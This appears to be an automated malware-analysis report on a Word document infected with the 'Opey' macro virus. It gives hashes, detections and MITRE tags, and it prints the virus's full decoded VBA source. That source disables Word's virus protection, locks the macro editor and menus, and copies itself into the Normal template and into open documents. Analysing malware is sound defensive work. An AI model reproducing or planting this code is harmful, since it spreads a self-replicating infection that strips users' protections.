Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0182b5214024808a…

MALICIOUS

Office (OLE)

51.0 KB Created: 2000-01-11 22:29:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b40928e332ce836045665dd5ad438b67 SHA-1: e59687b11cc65982633e19ee3a2ad3e736d993ba SHA-256: 0182b5214024808aca17a23a62dfad94f2df263900b17fe14b403d887baab586
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing VBA macros, specifically a Document_Open macro named 'Opey2k1'. This macro attempts to disable security features like virus protection and modify document properties. The ClamAV detection 'Doc.Trojan.Opey-18' and the embedded artifact signature 'Win.Trojan.C-286' strongly indicate malicious intent. The macro's actions suggest it is preparing the system or document for a subsequent stage of infection, likely involving the execution of further malware.

Heuristics 3

  • ClamAV: Doc.Trojan.Opey-18 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Opey-18
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3423 bytes
SHA-256: 9994ec904588ac8fdf5b2c8b2bed576f5800cc386c52f75f404ae25c90b54d03
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Opey2k1() '[BLOOD-HOUND SCAPE]
On Error Resume Next
OpeyStrt = Options.DefaultFilePath(wdStartupPath)
Transitionfile = OpeyStrt & "\system.txt"
With CommandBars("Tools")
.Reset
.Controls("Macro").Reset
.Controls("Templates and Add-Ins...").Reset
.Controls("Customize...").Reset
End With
For i = NormalTemplate.VBProject.vbcomponents.Count To 1 Step -1
themodules = NormalTemplate.VBProject.vbcomponents(i).Name
If (themodules <> "ThisDocument") Then Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=themodules, Object:=wdOrganizerObjectProjectItems
Next i
For Each opendoc In Documents
With opendoc
For j = opendoc.VBProject.vbcomponents.Count To 1 Step -1
themodules = opendoc.VBProject.vbcomponents(j).Name
If (themodules <> "ThisDocument") And (themodules <> "Reference to Normal") Then Application.OrganizerDelete Source:=opendoc.FullName, Name:=themodules, Object:=wdOrganizerObjectProjectItems
Next j
End With
Next opendoc
Application.ShowVisualBasicEditor = False
Application.DisplayAlerts = wdAlertsNone
ActiveDocument.ReadOnlyRecommended = False
With Dialogs(wdDialogFileSummaryInfo)
.Author = "OPEY A." 'GREETINGS TO ALL FILIPINO PROGRAMMERS !!!
.Title = "OpeY 2k1 version - Philippines"
.Execute
End With
With Options
.ConfirmConversions = True
.VirusProtection = False
.SaveNormalPrompt = False
End With
CommandBars("Visual Basic").Enabled = False
CommandBars("Visual Basic").Protection = msoBarNoChangeVisible
CommandBars("Visual Basic").Protection = msoBarNoCustomize
CommandBars("Tools").Controls("Macro").Enabled = False
CommandBars("Tools").Controls("Customize...").Enabled = False
CommandBars("Tools").Controls("Templates and Add-Ins...").Enabled = False
CustomizationContext = NormalTemplate
FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
opey = MacroContainer.VBProject.vbcomponents.Item(1).codemodule.lines(1, 75)
If Dir(Transitionfile) = True Then Kill Transitionfile
Open Transitionfile For Output Shared As #1
Print #1, opey
Close #1
If NormalTemplate.VBProject.vbcomponents.Item(1).codemodule.Find("Opey", 1, 1, 10, 10) = False Then
numberoflines = NormalTemplate.VBProject.vbcomponents.Item(1).codemodule.countoflines
NormalTemplate.VBProject.vbcomponents.Item(1).codemodule.DeleteLines 1, numberoflines
NormalTemplate.VBProject.vbcomponents.Item(1).codemodule.AddFromFile Transitionfile
NormalTemplate.Save
End If
If ActiveDocument.VBProject.vbcomponents.Item(1).codemodule.Find("Opey", 1, 1, 10, 10) = False Then
numberoflines = ActiveDocument.VBProject.vbcomponents.Item(1).codemodule.countoflines
ActiveDocument.VBProject.vbcomponents.Item(1).codemodule.DeleteLines 1, numberoflines
ActiveDocument.VBProject.vbcomponents.Item(1).codemodule.AddFromFile Transitionfile
ActiveDocument.Save
End If
Kill Transitionfile
End Sub
Private Sub Document_Close()
On Error Resume Next
If ActiveDocument.Undo = False And ActiveDocument.Redo = False Then
ActiveDocument.Close
Exit Sub
End If
Call Opey2k1
End Sub
Private Sub Document_Open()
On Error Resume Next
Call Opey2k1
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.